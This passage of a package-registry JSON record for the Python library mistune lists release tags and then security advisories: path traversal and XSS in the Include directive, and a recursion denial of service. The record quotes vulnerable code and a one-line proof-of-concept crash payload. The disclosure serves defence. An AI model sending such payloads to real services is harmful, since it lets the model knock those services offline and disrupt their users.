repositories/lepture%2Fmistune/tags/v2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.4/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v2.0.4"},{"name":"v3.0.0a3","sha":"46c6b3ce7486d3dddcda6bc4e61c27525451c1d4","kind":"commit","published_at":"2022-07-14T05:59:07.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.0.0a3","html_url":"https://github.com/lepture/mistune/releases/tag/v3.0.0a3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.0.0a3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.0.0a3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.0.0a3/manifests","release_url":null},{"name":"v3.0.0a2","sha":"b0b7a66140e9d1e668b6bc79e1135f902572cc45","kind":"commit","published_at":"2022-07-12T22:51:52.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.0.0a2","html_url":"https://github.com/lepture/mistune/releases/tag/v3.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.0.0a2/manifests","release_url":null},{"name":"v3.0.0a1","sha":"e6b3330ca05cd820cb2fb5d9f353c4fb5d18631f","kind":"commit","published_at":"2022-07-12T11:40:04.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.0.0a1","html_url":"https://github.com/lepture/mistune/releases/tag/v3.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.0.0a1/manifests","release_url":null},{"name":"v2.0.3","sha":"3f422f1e84edae0f39756c45be453ecde534b755","kind":"commit","published_at":"2022-07-01T15:10:44.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v2.0.3","html_url":"https://github.com/lepture/mistune/releases/tag/v2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.3/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v2.0.3"},{"name":"v2.0.2","sha":"799cd118cc5e664b72e98410ce1b68645f1a38c0","kind":"commit","published_at":"2022-01-14T06:27:29.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v2.0.2","html_url":"https://github.com/lepture/mistune/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v2.0.2"},{"name":"v2.0.1","sha":"3e8d35215120ac82176f300dd5e20c0bea5464ea","kind":"commit","published_at":"2021-12-30T10:35:05.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v2.0.1","html_url":"https://github.com/lepture/mistune/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v2.0.1"},{"name":"v2.0.0","sha":"e8fc67cc73bc8afcb0a620d2d4b762efff182516","kind":"commit","published_at":"2021-12-05T08:12:24.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v2.0.0","html_url":"https://github.com/lepture/mistune/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v2.0.0"},{"name":"v2.0.0rc1","sha":"d88194741a3790ab9ab707d985d18fa01eee1acf","kind":"commit","published_at":"2021-02-16T08:18:06.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v2.0.0rc1","html_url":"https://github.com/lepture/mistune/releases/tag/v2.0.0rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v2.0.0rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.0rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.0rc1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v2.0.0rc1"},{"name":"v2.0.0a6","sha":"6b1400ba27931f269e6bd21797b0be59c3e945a5","kind":"commit","published_at":"2020-11-26T02:57:46.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v2.0.0a6","html_url":"https://github.com/lepture/mistune/releases/tag/v2.0.0a6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v2.0.0a6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.0a6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.0a6/manifests","release_url":null},{"name":"v2.0.0a5","sha":"463635d17c99841e4609b26e8bbd2c4163c58e96","kind":"commit","published_at":"2020-09-02T05:53:18.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v2.0.0a5","html_url":"https://github.com/lepture/mistune/releases/tag/v2.0.0a5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v2.0.0a5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.0a5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.0a5/manifests","release_url":null},{"name":"v2.0.0a4","sha":"5e720dcac14c4b26af2da98b8d90b9d299347f1b","kind":"commit","published_at":"2020-04-19T12:12:17.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v2.0.0a4","html_url":"https://github.com/lepture/mistune/releases/tag/v2.0.0a4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v2.0.0a4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.0a4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.0a4/manifests","release_url":null},{"name":"v2.0.0a3","sha":"a9e3dc494d7d6130f363001a17799b01fcd7fc4c","kind":"commit","published_at":"2020-04-11T06:06:36.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v2.0.0a3","html_url":"https://github.com/lepture/mistune/releases/tag/v2.0.0a3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v2.0.0a3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.0a3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.0a3/manifests","release_url":null},{"name":"v2.0.0a2","sha":"dcaf974a6bf8e70bdee57d7333b6eac0a2ff14c5","kind":"commit","published_at":"2020-01-01T12:12:13.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v2.0.0a2","html_url":"https://github.com/lepture/mistune/releases/tag/v2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.0a2/manifests","release_url":null},{"name":"v2.0.0a1","sha":"3d10584e25fdc3fbd42e3ad4602ecf859c671c04","kind":"commit","published_at":"2019-12-07T12:18:26.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v2.0.0a1","html_url":"https://github.com/lepture/mistune/releases/tag/v2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.0a1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v2.0.0a1"},{"name":"v0.8.4","sha":"6470c42b2087a4649ad0437227cf7b5c570c3a91","kind":"commit","published_at":"2018-10-11T06:58:49.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v0.8.4","html_url":"https://github.com/lepture/mistune/releases/tag/v0.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v0.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.8.4/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v0.8.4"},{"name":"v0.8.3","sha":"92b7f32664bad1a4b3740ee81eda47e5246e780f","kind":"commit","published_at":"2017-12-04T05:01:44.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v0.8.3","html_url":"https://github.com/lepture/mistune/releases/tag/v0.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v0.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.8.3/manifests","release_url":null},{"name":"v0.8.2","sha":"b8da37ec3d0e6f63273e37a7c47a0f00bd477db0","kind":"commit","published_at":"2017-12-04T04:57:27.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v0.8.2","html_url":"https://github.com/lepture/mistune/releases/tag/v0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v0.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.8.2/manifests","release_url":null},{"name":"v0.8.1","sha":"cef69acaa506567595e95ab6ecea25a806de622e","kind":"commit","published_at":"2017-11-20T15:17:28.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v0.8.1","html_url":"https://github.com/lepture/mistune/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.8.1/manifests","release_url":null},{"name":"v0.8","sha":"7f7f106a717e6cf58012304e56b41d6fb2b98e5f","kind":"commit","published_at":"2017-10-26T17:01:52.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v0.8","html_url":"https://github.com/lepture/mistune/releases/tag/v0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.8/manifests","release_url":null},{"name":"v0.7.4","sha":"714e60a20a7efe0923bc39991d989b3ef3324690","kind":"commit","published_at":"2017-03-14T06:57:45.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v0.7.4","html_url":"https://github.com/lepture/mistune/releases/tag/v0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v0.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.7.4/manifests","release_url":null},{"name":"v0.7.3","sha":"b93f3f17f8ec21f99cdc2e39215aebf1a900f20a","kind":"commit","published_at":"2016-06-28T07:59:37.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v0.7.3","html_url":"https://github.com/lepture/mistune/releases/tag/v0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v0.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.7.3/manifests","release_url":null},{"name":"v0.7.2","sha":"28f31d3b4f612d592d2e04d67705306d479c54c2","kind":"commit","published_at":"2016-02-26T01:42:04.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v0.7.2","html_url":"https://github.com/lepture/mistune/releases/tag/v0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v0.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.7.2/manifests","release_url":null},{"name":"v0.7.1","sha":"878f92bdb224a8b7830e8c33952bd2f368e5d711","kind":"commit","published_at":"2015-08-22T15:29:14.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v0.7.1","html_url":"https://github.com/lepture/mistune/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.7.1/manifests","release_url":null},{"name":"v0.7","sha":"8e060f31c7cb94a2d5f727e5519dbf19be14b992","kind":"commit","published_at":"2015-07-18T12:41:50.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v0.7","html_url":"https://github.com/lepture/mistune/releases/tag/v0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.7/manifests","release_url":null},{"name":"v0.6","sha":"a4d88bbc98a0fa8998416550b1ffb803c6bd2e53","kind":"commit","published_at":"2015-06-17T06:18:48.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v0.6","html_url":"https://github.com/lepture/mistune/releases/tag/v0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.6/manifests","release_url":null},{"name":"v0.5.1","sha":"9304c3a2c55c8992001ffcd386e007c31195d2e6","kind":"commit","published_at":"2015-03-10T08:48:58.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v0.5.1","html_url":"https://github.com/lepture/mistune/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.5.1/manifests","release_url":null},{"name":"v0.5","sha":"cf1c5b496f582c84c5edefa0c9a284dbc7281a66","kind":"commit","published_at":"2014-12-05T04:36:58.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v0.5","html_url":"https://github.com/lepture/mistune/releases/tag/v0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.5/manifests","release_url":null},{"name":"v0.4.1","sha":"852e04d81fe8ed6f983e3d9a8836a94f277bb22e","kind":"commit","published_at":"2014-10-12T01:34:33.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v0.4.1","html_url":"https://github.com/lepture/mistune/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.4.1/manifests","release_url":null},{"name":"v0.4","sha":"2e6f740647cb109d22c79790dae21d1a8f45b058","kind":"commit","published_at":"2014-08-14T09:23:26.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v0.4","html_url":"https://github.com/lepture/mistune/releases/tag/v0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.4/manifests","release_url":null},{"name":"v0.3.1","sha":"71590634e2ef89e603c7412ba54524c9382dab45","kind":"commit","published_at":"2014-07-31T08:28:45.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v0.3.1","html_url":"https://github.com/lepture/mistune/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.3.1/manifests","release_url":null},{"name":"v0.3.0","sha":"50c8386388b1f716539087d19b261e708823105a","kind":"commit","published_at":"2014-06-27T01:50:24.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v0.3.0","html_url":"https://github.com/lepture/mistune/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.3.0/manifests","release_url":null},{"name":"v0.2.0","sha":"46bb1a0b60fb93f7a3a20b70fbbc1181cd38d12e","kind":"commit","published_at":"2014-03-12T06:10:47.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v0.2.0","html_url":"https://github.com/lepture/mistune/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.2.0/manifests","release_url":null},{"name":"v0.1.0","sha":"eb4edac078a43db665c04019749469cf7c77d1c3","kind":"commit","published_at":"2014-02-26T03:15:34.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v0.1.0","html_url":"https://github.com/lepture/mistune/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v0.1.0/manifests","release_url":null}]},"repo_metadata_updated_at":"2026-11-17T09:02:11.686Z","dependent_packages_count":331,"downloads":72104200,"downloads_period":"last-month","dependent_repos_count":64256,"rankings":{"downloads":0.053007389853761966,"dependent_repos_count":0.021643155718837067,"dependent_packages_count":0.07116563066871848,"stargazers_count":2.026753141467369,"forks_count":4.362196376788999,"docker_downloads_count":0.2725570287982363,"average":1.134553787215987},"purl":"pkg:pypi/mistune","advisories":[{"uuid":"GSA_kwCzR0hTQS1oN3d3LTI3M3ctNmNtOM4AB_Qp","url":"https://github.com/advisories/GHSA-h7ww-273w-6cm8","title":"Mistune: Path Traversal and XSS in Include directive","description":"The Include directive in `src/mistune/directives/include.py` does not validate that the resolved file path stays within the source directory, allowing path traversal via `../` sequences to read arbitrary files.\n\nAdditionally, error messages and included file contents are rendered without HTML escaping, leading to XSS even when `escape=True`.\n\nAffected functions:\n- Path resolution (lines 27-31)\n- `block_error()` in html.py (line 140)\n- `render_html_include()` (line 72)\n\nThe Include plugin must be explicitly enabled via the plugins parameter.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-23T20:46:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/lepture/mistune/security/advisories/GHSA-h7ww-273w-6cm8","https://nvd.nist.gov/vuln/detail/CVE-2026-115355","https://github.com/lepture/mistune/commit/1bef343ade163fc3bb95572b15be720084cdb993","https://github.com/lepture/mistune/releases/tag/v3.3.0","https://www.vulncheck.com/advisories/mistune-before-3.3.0-path-traversal-and-xss-via-include-directive","https://github.com/advisories/GHSA-h7ww-273w-6cm8"],"source_kind":"github","identifiers":["GHSA-h7ww-273w-6cm8","CVE-2026-115355"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-23T21:00:09.857Z","updated_at":"2026-10-26T21:00:10.201Z","epss_percentage":0.00461,"epss_percentile":0.39663,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oN3d3LTI3M3ctNmNtOM4AB_Qp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oN3d3LTI3M3ctNmNtOM4AB_Qp","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":"3.3.0","vulnerable_version_range":"\u003c= 3.2.0"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oN3d3LTI3M3ctNmNtOM4AB_Qp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04Y3F2LXZ2cTItNnA4Y84AB_Hv","url":"https://github.com/advisories/GHSA-8cqv-vvq2-6p8c","title":"Duplicate Advisory: Mistune: Path Traversal and XSS in Include directive","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-h7ww-273w-6cm8. This link is maintained to preserve external references.\n\n## Original Description\nMistune before 3.3.0 contains a path traversal vulnerability in the Include directive that allows attackers to read arbitrary files by supplying ../ sequences in include paths. Attackers can also inject HTML through unescaped error messages and included file contents to perform cross-site scripting even when escape=True is set.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-22T21:32:36.000Z","withdrawn_at":"2026-10-23T20:46:28.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/lepture/mistune/security/advisories/GHSA-h7ww-273w-6cm8","https://nvd.nist.gov/vuln/detail/CVE-2026-115355","https://www.vulncheck.com/advisories/mistune-before-3.3.0-path-traversal-and-xss-via-include-directive","https://github.com/advisories/GHSA-8cqv-vvq2-6p8c"],"source_kind":"github","identifiers":["GHSA-8cqv-vvq2-6p8c"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-23T21:00:09.857Z","updated_at":"2026-10-24T21:00:10.654Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04Y3F2LXZ2cTItNnA4Y84AB_Hv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04Y3F2LXZ2cTItNnA4Y84AB_Hv","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c 3.3.0"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04Y3F2LXZ2cTItNnA4Y84AB_Hv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02bTQ0LWZwYzgtYzNycc4ABodc","url":"https://github.com/advisories/GHSA-6m44-fpc8-c3rq","title":"Mistune: Denial of Service — RecursionError via Excessive Emphasis Markers in Markdown","description":"## Summary\nMistune v3.3.2 is vulnerable to a Denial of Service (DoS) attack via uncontrolled recursion in the HTML rendering of deeply-nested emphasis tokens. By submitting Markdown containing approximately 1,000 consecutive asterisk characters, an attacker causes the Python process to crash with RecursionError.\n\n## Details\nThe InlineParser's _process_emphasis_delimiters() creates deeply nested \u003cstrong\u003e tokens from consecutive emphasis markers (every 2 asterisks add one nesting level). With 1,000 consecutive asterisks, approximately 500 levels of nesting are produced. The HTMLRenderer.render_token() method (src/mistune/renderers/html.py:40-57) renders these tokens recursively: when a token has children, line 48 calls self.render_tokens(token['children'], state), entering child rendering. Each nesting level produces ~2 stack frames, so 500 levels ≈ 1,000 frames, exceeding Python's default recursion limit (sys.getrecursionlimit() = 1000). The emphasis() and strong() methods (lines 80-84) wrap recursively rendered child content in \u003cem\u003e and \u003cstrong\u003e tags, perpetuating the recursion. This vulnerability affects all mistune APIs including markdown() and html().\n\nCore vulnerable code path:\n\n```python\n# src/mistune/renderers/html.py:40-57\ndef render_token(self, token: Dict[str, Any], state: BlockState) -\u003e str:\n    func = self._get_method(token[\"type\"])\n    attrs = token.get(\"attrs\")\n    if \"raw\" in token:\n        text = token[\"raw\"]\n    elif \"children\" in token:\n        text = self.render_tokens(token[\"children\"], state)\n    else:\n        if attrs:\n            return func(**attrs)\n        else:\n            return func()\n    if attrs:\n        return func(text, **attrs)\n    else:\n        return func(text)\n```\n\nThe recursive call to render_tokens() on line 48 processes nested child tokens. With 500 levels of nested emphasis/strong tokens, this recursion exceeds Python's default recursion limit of 1000, causing a RecursionError.\n\n```python\n# src/mistune/renderers/html.py:80-84\ndef emphasis(self, text: str) -\u003e str:\n    return \"\u003cem\u003e\" + text + \"\u003c/em\u003e\"\n\ndef strong(self, text: str) -\u003e str:\n    return \"\u003cstrong\u003e\" + text + \"\u003c/strong\u003e\"\n```\n\nThe emphasis() and strong() methods wrap their text content (which is itself the recursively-rendered output of nested child tokens) in HTML tags, creating the chain of recursion: each call to strong() includes rendered children that themselves call strong(), etc.\n\n## POC\n\n``` wiki\nfrom mistune import html\n\npayload = '*' * 1000\ntry:\n    result = html(payload)\n    print('No crash - recursion handled')\nexcept RecursionError as e:\n    print(f'[VULN] RecursionError: {e} - Process would crash!')\nexcept Exception as e:\n    print(f'Error: {type(e).__name__}: {e}')\n```\n\n\u003cimg width=\"1139\" height=\"664\" alt=\"1\" src=\"https://github.com/user-attachments/assets/d2095b9f-0a6a-4bef-8013-cbc6946cf8f1\" /\u003e\n\n\n\n## Impact\nCVSS 3.1: 7.5 (High) — 